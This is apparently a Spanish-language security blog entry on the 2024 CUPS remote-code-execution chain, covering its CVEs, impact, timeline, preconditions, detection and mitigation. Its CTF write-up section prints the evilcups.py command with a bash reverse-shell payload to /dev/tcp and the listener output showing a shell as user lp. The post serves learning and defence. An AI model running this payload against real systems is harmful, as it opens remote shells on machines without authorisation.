cd ~/blog

~/vulns/cups-rce-evil-cups-cve-2024-47177.md

CUPS RCE (evil-cups CVE-2024-47177)

rceautor: Jordy Pérez Osorio aviso legal
CUPSIPPRCELinux

~2 min de lectura


1. Descripción técnica

En septiembre de 2024 se publicó una cadena de vulnerabilidades en CUPS (Common Unix Printing System), el sistema de impresión por defecto en muchas distribuciones Linux, que permite ejecución remota de comandos. La cadena involucra varios CVE:

  • CVE-2024-47176: cups-browsed acepta anuncios que pueden hacerle consultar un servidor IPP controlado por un atacante y crear una impresora.
  • CVE-2024-47076 y CVE-2024-47175: atributos IPP proporcionados por el servidor no se neutralizan correctamente al construir la configuración de la impresora.
  • CVE-2024-47177: FoomaticRIPCommandLine permite que la configuración manipulada alcance una ejecución de comandos cuando se procesa un trabajo de impresión.

El flujo del ataque: el atacante envía un paquete UDP al puerto 631 que hace que cups-browsed se conecte de vuelta a un servidor IPP malicioso. Este anuncia una impresora con un FoomaticRIPCommandLine envenenado. Cuando la víctima (o un trabajo automático) imprime en esa impresora, el comando se ejecuta con los privilegios del servicio CUPS (usuario lp).

2. Impacto

  • Ejecución remota de comandos como el usuario lp (a menudo el primer pie en la máquina, seguido de escalada de privilegios).
  • Requiere que se lance un trabajo de impresión hacia la impresora maliciosa; en muchos escenarios esto se puede inducir o esperar.
  • Afecta a un servicio muy extendido en estaciones Linux y entornos de impresión en red.

3. Historia y evolución

  • 26 de septiembre de 2024: el investigador Simone Margaritelli (evilsocket) publica la cadena de vulnerabilidades de CUPS tras semanas de expectación mediática.
  • Aparecen rápidamente PoCs públicas; la más usada en CTFs es evil-cups (de IppSec), que automatiza el montaje del servidor IPP malicioso y la inyección del comando.
  • El impacto real fue matizado: requiere cups-browsed activo y el envío de un trabajo de impresión, lo que reduce su explotabilidad masiva, pero sigue siendo crítico en entornos vulnerables.

4. Condiciones necesarias

  1. Servicio cups-browsed activo y escuchando en el puerto 631/UDP accesible.
  2. Versiones vulnerables de CUPS / cups-browsed sin parchear.
  3. Que se procese un trabajo de impresión hacia la impresora maliciosa registrada.

5. Validación y detección

  • Identificar el servicio:
nmap -sCV -p631 target   # ipp CUPS 2.3 ...
  • Comprobar si cups-browsed escucha en UDP/631 y la versión de CUPS instalada.

6. Mitigación

  1. Actualizar CUPS y cups-browsed a versiones parcheadas.
  2. Deshabilitar cups-browsed si no se necesita descubrimiento automático de impresoras.
  3. Bloquear el puerto 631/UDP en el firewall y no exponer CUPS a redes no confiables.
  4. Ejecutar el servicio con el mínimo privilegio y segmentar la red de impresión.

7. Explotación documentada en los writeups

7.1. 25-fuser

Con el script evilcups.py, montamos el servidor malicioso y, tras imprimir una página de prueba desde la interfaz de CUPS, recibimos la shell como lp:

❯ python3 evilcups.py 192.168.1.7 192.168.1.129 "bash -c 'bash -i >& /dev/tcp/192.168.1.7/1234 0>&1'"
IPP Server Listening on ('192.168.1.7', 12345)
Sending udp packet to 192.168.1.129:631...
Please wait this normally takes 30 seconds...

❯ ncat -nlvp 1234
Ncat: Connection from 192.168.1.129
lp@fuser:/$ id
uid=7(lp) gid=7(lp) groups=7(lp)

8. Clasificación

  • Tipo: Improper Input Validation / Command Injection → Remote Code Execution
  • CVE: CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177
  • CWE:
    • CWE-78 – OS Command Injection
    • CWE-20 – Improper Input Validation

9. Referencias y conexiones

// relacionados